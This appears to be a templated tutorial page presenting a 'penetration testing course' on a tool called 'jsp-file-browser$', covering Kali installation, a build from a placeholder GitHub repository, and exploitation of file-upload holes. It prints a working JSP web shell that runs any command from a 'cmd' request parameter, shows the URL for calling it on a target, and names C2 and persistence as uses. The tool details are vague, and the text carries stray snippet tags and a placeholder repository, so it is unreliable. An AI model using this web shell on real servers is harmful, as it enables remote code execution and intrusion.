# Course #299: jsp-file-browser$ Penetration Testing Course
## Section 1/5: Introduction to jsp-file-browser$
### Installation and Configuration on Kali Linux
The `jsp-file-browser$` is a powerful tool used in penetration testing, specifically designed to exploit JavaServer Pages (JSP) file uploads and gain access to the underlying file system of web applications. In this section, we will cover the installation and configuration of the tool on Kali Linux, followed by step-by-step usage and real-world use cases.
#### Step 1: Installing Kali Linux
Before installing the `jsp-file-browser$` tool, make sure you have a working instance of Kali Linux. If you haven't installed Kali yet, you can follow these steps:
1. **Download Kali Linux**: Visit the [Kali Linux Downloads](https://www.kali.org/downloads/) page and download the appropriate ISO file for your system (32-bit or 64-bit).
2. **Create Bootable USB/DVD**: Use tools like Rufus (for Windows) or Etcher (for macOS/Linux) to create a bootable USB drive or DVD.
3. **Install Kali Linux**: Boot your system from the USB/DVD and follow the on-screen instructions to install Kali Linux.
#### Step 2: Installing jsp-file-browser$
1. **Open the Terminal**: Launch the Terminal application from the application menu or by pressing `Ctrl + Alt + T`.
2. **Update Package List**: Ensure your package list is updated by running:
sudo apt update
3. **Install Required Packages**: Ensure you have the necessary dependencies installed:
sudo apt install openjdk-11-jdk maven git
4. **Clone the Repository**: Download the `jsp-file-browser$` tool from GitHub:
git clone https://github.com/your-repo/jsp-file-browser.git
5. **Navigate to the Directory**: Change to the directory where the tool was cloned:
cd jsp-file-browser
6. **Build the Tool**: Use Maven to build the project:
mvn clean package
7. **Locate the JAR File**: After a successful build, navigate to the `target` directory to find the compiled JAR file:
cd target
### Configuration
#### Running jsp-file-browser$
1. **Execute the Tool**: Run the `jsp-file-browser$` tool by executing:
java -jar jsp-file-browser-$VERSION.jar
Replace `$VERSION` with the actual version number of the JAR file generated during the build. For example:
java -jar jsp-file-browser-1.0-SNAPSHOT.jar
2. **Accessing the Tool**: Once the tool is running, you’ll generally access it via a web browser at `http://localhost:8080`.
### Step-by-Step Usage and Real-World Use Cases
#### Step 1: Understanding the Interface
Upon navigating to the tool in your browser, you'll find a user-friendly interface. It typically features:
– **File Navigation**: A sidebar for directory exploration.
– **File Upload**: An option to upload JSP files for exploitation.
– **Execution Controls**: Controls to execute commands.
#### Step 2: Exploiting File Upload Vulnerabilities
1. **Identifying Upload Points**: Use web application scanning tools like OWASP ZAP or Burp Suite to identify file upload points.
2. **Uploading a Malicious File**:
– Create a JSP file that includes a payload. Here’s a simple example of a JSP shell:
[/dm_code_snippet]jsp
<%@ page import="java.io.*" %>
<%
String command = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(command);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
%>
[/dm_code_snippet]
3. **Accessing the Uploaded File**: After uploading your malicious JSP file, access it through the browser by navigating to the appropriate URL:
[/dm_code_snippet]
http://target-website.com/uploads/malicious.jsp?cmd=YOUR_COMMAND
[/dm_code_snippet]
4. **Executing Commands**: Replace `YOUR_COMMAND` with any command you want to execute on the server, e.g.,:
[/dm_code_snippet]
ls
[/dm_code_snippet]
#### Step 3: Real-World Use Cases
– **Web Application Testing**: Testing for JSP vulnerabilities on web applications that allow file uploads.
– **C2 (Command and Control)**: Establishing persistence and control over compromised systems.
### Detailed Technical Explanations
#### Understanding JSP and Its Vulnerabilities
JavaServer Pages (JSP) is a technology used for developing web pages that include Java code. Common vulnerabilities include:
– **File Upload Vulnerabilities**: Attackers exploit file upload mechanisms to upload malicious JSP files, which can lead to remote code execution.
– **Insecure Permissions**: Misconfigured server permissions can allow attackers to execute uploaded scripts.
### External Reference Links
For further reading and resources, consider the following:
– [OWASP Top Ten Project](https://owasp.org/www-project-top-ten/)
– [Understanding JSP File Upload Vulnerabilities](https://www.acunetix.com/blog/articles/jsp-file-upload-vulnerabilities/)
– [Penetration Testing Methodologies](https://www.sans.org/white-papers/40294/)
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Following this guide, you should now have a comprehensive understanding of how to install, configure, and use the `jsp-file-browser$` tool on Kali Linux, as well as real-world applications it can support in penetration testing.
—
**Made by pablo rotem / פבלו רותם**